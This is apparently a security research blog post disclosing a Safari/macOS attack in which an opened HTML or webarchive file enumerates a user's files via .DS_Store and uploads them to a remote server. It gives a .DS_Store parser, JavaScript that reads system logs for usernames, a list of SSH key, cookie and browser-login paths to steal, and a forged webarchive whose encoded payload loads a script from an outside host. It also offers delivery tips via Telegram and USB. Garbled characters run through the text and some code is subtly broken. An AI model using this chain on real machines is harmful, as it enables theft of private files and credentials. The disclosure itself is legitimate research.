by bo0om, Wallarm Research
Imaging a scary scenario: you open a simple html document, and after a little while, your proprietary files unbeknownst to you find their way to somebody elseâs hard driveâŚ
Documents, source code, SSH keys, passwordsâŚAll the files you, the authorized user, have access toâââgone. Impossible? Not quite. Some of the commonly used browsers may actually allow this scenario.
Generally, an attack works something like this:
- User opens html document in a browser
- Browser reads the list of the file the user has access to
- Browser reads âkeyâ files and uploads them to the remote server run by a hacker. This process occurs in the background, generally, without alerting the active user
Letâs break this process down into phases:
- Phase 1: getting information about the files on the current computer
- Phase 2: accessing the files and uploading them to an external server
During the first phase, the hacker needs to get a list of files. This is not, generally, an easy task. No developer in their right mind will allow an html page to request and receive the content of a directory file or a local desktop folder. Guessing and trying all the possible paths is not a real option. While a few file paths are common, such as ~/.ssh/id_rsa
, most of the directories are /var/log/system.log different on each system.
Assuming we do overcome this obstacle, in the second phase the hacker needs to escape the sandbox of the browser, read the file she now knows about and upload them to the server.
Getting the directory list
Unlike Linux or Windows, MacOS has an interesting property. When a directory gets opened, operating system creates a specialized hidden fileâââ.DS_Store
.
This file keeps the information of the file browsing session, including the information about the size and location of the file browsing window, viewing properties and selected icons. This file is created automatically, mainly caching the directory information for quick and easy access.
While, similar to Windowsâ Thumbs.db
.DS_Store
keeps filesâ thumbnails, unlike Windows it also contains the names of files and directories. As soon as a director is opened, .DS_Store
is created.

Service file .DS_Store
is created automatically, when a directory is opened
Interestingly, . DS_Store
can easily be parsed to get the names of all the files on in the catalog. For example, an aptly name Phython node DSStore would do the trick. Below is a code example which does just that:
##!/usr/bin/env python from ds_store import DSStore import json path = â/Users/USERNAME/.DS_Storeâ def parse(file): filelist = [] for i in file: if i.filename!=â.â: filelist.append(i.filename) return list(set(filelist)) d=DSStore.open(path, âr+â) fileresult=parse(d) print(json.dumps(fileresult)) for name in fileresult: try: d = DSStore.open(path + name+ â/.DS_Storeâ, âr+â) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass
Letâs save the file in parse_ds_store.py
and run it.
The results should be similar to those below:
$ python parse_ds_store.py
[âDocumentsâ, âPicturesâ, â.idmâ, âDesktopâ, âMusicâ, â.oracle_jre_usageâ, âPublicâ, âtmpâ, âParallelsâ, âMEGAâ, â.BurpSuiteâ, âDownloadsâ, â.configâ, â.cacheâ, âApplicationsâ, â.bash_sessionsâ, âCreative Cloud Filesâ, âPycharmProjectsâ, âApplications (Parallels)â, âDropboxâ, âNextcloudâ, â.iterm2â, â.Trashâ, âScriptsâ, âMoviesâ, âMEGAsync Downloadsâ, âSoftâ, â.localâ, â.sshâ, âLibraryâ, â.pgadminâ]
As you can see, I have just retrieved all the files from my home directory. And this means that , with this information, we can now recursively call .DS_Store to get the complete hierarchy of files on my computerâââall without authorized access to any of the directories.
For example, applying this approach to the home directory (~/.DS_Store
), we could get back:
[âBackups","Soft","Pictures",".ssh"...][
Then, following that up with ~/Backups/.DS_Store
, we get:
[â2017â, â2016â, â2015â, âŚ]
Next, we proceed to ~/Backups/2017/.DS_Store
[âsourceâ, âsqlâ, âstaticâ, âŚ]
And so on.
A couple of notes:
- The hacker needs to know the name of an authorized system user;
- file
.DS_Store
only gets created when an authorized user opens the directory
Other than the above, this system should work.
Predicting file path for valuable information
What does a user has thatâs worth stealing? First and foremost, it is .ssh
, directory where the keys to the kingdom (OK the keys to the encrypted systems) are stored.
There are known files here, like the following:
~/.ssh/id_rsa;
~/.ssh/id_rsa.key;
~/.ssh/id_rsa.pub;
~/.ssh/known_hosts;
~/.ssh/authorized_keys;
Also .bash_historyâ
ââgets the hacker a complete history of the previously invoked commands.
Cookies and other tasty treats
Now, letâs look for cookies. Firstly, MacOS keeps the account data in well known places.
~/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/com.apple.Safari.cookies
Cookies for Twitter, Skype and other standard applications can be found in the same place.
While we are here, we can also gram the list of visited sites that returned HSTS header.
~/Library/Cookies/HSTS.plist
Another good find is the information about the system accounts:
~/Library/Accounts/Accounts4.sqlite
To top off the list, letâs also get the information about other applications
~/Library/Application Support/
For example, the information about the stored login data and cookies from the Chrome browser can do nicely.
~/Library/Application Support/Google/Chrome/Default/Login Data ~/Library/Application Support/Google/Chrome/Default/Cookies ~/Library/Application Support/Google/Chrome/Default/History
Inquisitive minds can find other information in this directory as well. Could be the logs of FTP / SQL clients, messaging history, login dataâŚ
Sneaking the access to users files
Now that we know which files are valuable, letâs try to get access to those file from Safari.
We know that in the Chrome browser, reading local files is not that straightforward. The only way to do that is to launch Chrome with a special argument (âââdisable-web-security).
Safari also warns that it canât work with the local files: such as file://

One canât just read file://
from Safari
HOWEVER, if the file has originally been downloaded from the internet, Safari is a lot more permissive towards this kind of requests. Thus one can send XHR request to a local file and get back its content:

âŚif a file is localâââyou get access!
Knowing this Safari idiosyncrasy, with a full path name we can load the complete file content and upload it to an external server.
There is a catch, however. Once canât get a full file path without knowing the authorized userâs name. Usersâ names are pretty to come by. For example, /etc/passwd contains no login names at all.
To work around this snag, we can check two log files that are generated by the operating system (thanks,@f1nnix ! ) These are /var/log/system.log
and /var/log/install.log
. Between these two files, usersâ names are likely to be found. Loading them into a simple browser and applying some regex we can get all the information we need.
Here is a JS function to extract all the login names from these logs:
function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(âGETâ, â/var/log/system.log;/https:%2f%2fgoogle.com/â, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(âGETâ, â/var/log/install.log;/https:%2f%2fgoogle.com/â, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } }
Getting out the loot
After a hacker followed the steps in the first part of the article, all that is left is to get the stolen files out. Just to see how that would work, we can put together a simple backend to receive paths and content of the files. If itâs .DS_Store, we can supplement that with pathâs parsing.
As a bonus, we can add black and white lists to avoid uploading giant media files or to specify files of particular interest, such as .docx
.
But what if there are other browsers in the system? Does it mean that an HTML file will get opened by Chrome or Opera and the hackerâs plan will fall flat?
Maybe not. We can not forget about XHTM extension. This is a web archive that can only be opened with Safari.
XHTM story is pretty clearâââitâs just an XML-based web page with built in JS. Webarchives are a bit more complicated. There are two supported formats, one of each can be easily faked manually:
<?xml version=â1.0" encoding=âUTF-8"?> <!DOCTYPE plist PUBLIC â-//Apple//DTD PLIST 1.0//ENâ âhttp://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version=â1.0"> <dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict> </dict> </plist>
With data being Base64 page with each line containing 59 symbols
How to get around âWhere fromâ
By default, files from the internet have execution protection

Warnings fire up
This means that the files that come in email attachment are unlikely to execute.
Good news for the hacker is that not all the programs set the protection flag up after downloading the file. For example, Telegram for MacOS does not do that. In some of our practice tests we were able to read user files with a malicious XHTM file transmitted via a desktop version of Telegram for MacOS, even without archiving or password protection.

Practice testâââFile transmitted through Telegram worked!
This is just one exampleâââother similar scenarios are also possible. For example, a ready file can be easily given to the victim on a USB dongle with family pictures.
To play with this project on your own, get the ready-made HTML files and the backend from my repository
What to do about it?
At this time, as a Safari user, you canât do anything about it. Apparently, Apple does not consider this issue a security breach. We have not heard of any planned patches to address it.
One thing is to be vigilant and be very careful about the files you download from the internet. The only other thing to do is to not use Safari browser.
Just because youâre paranoid, doesnât mean they are not after you!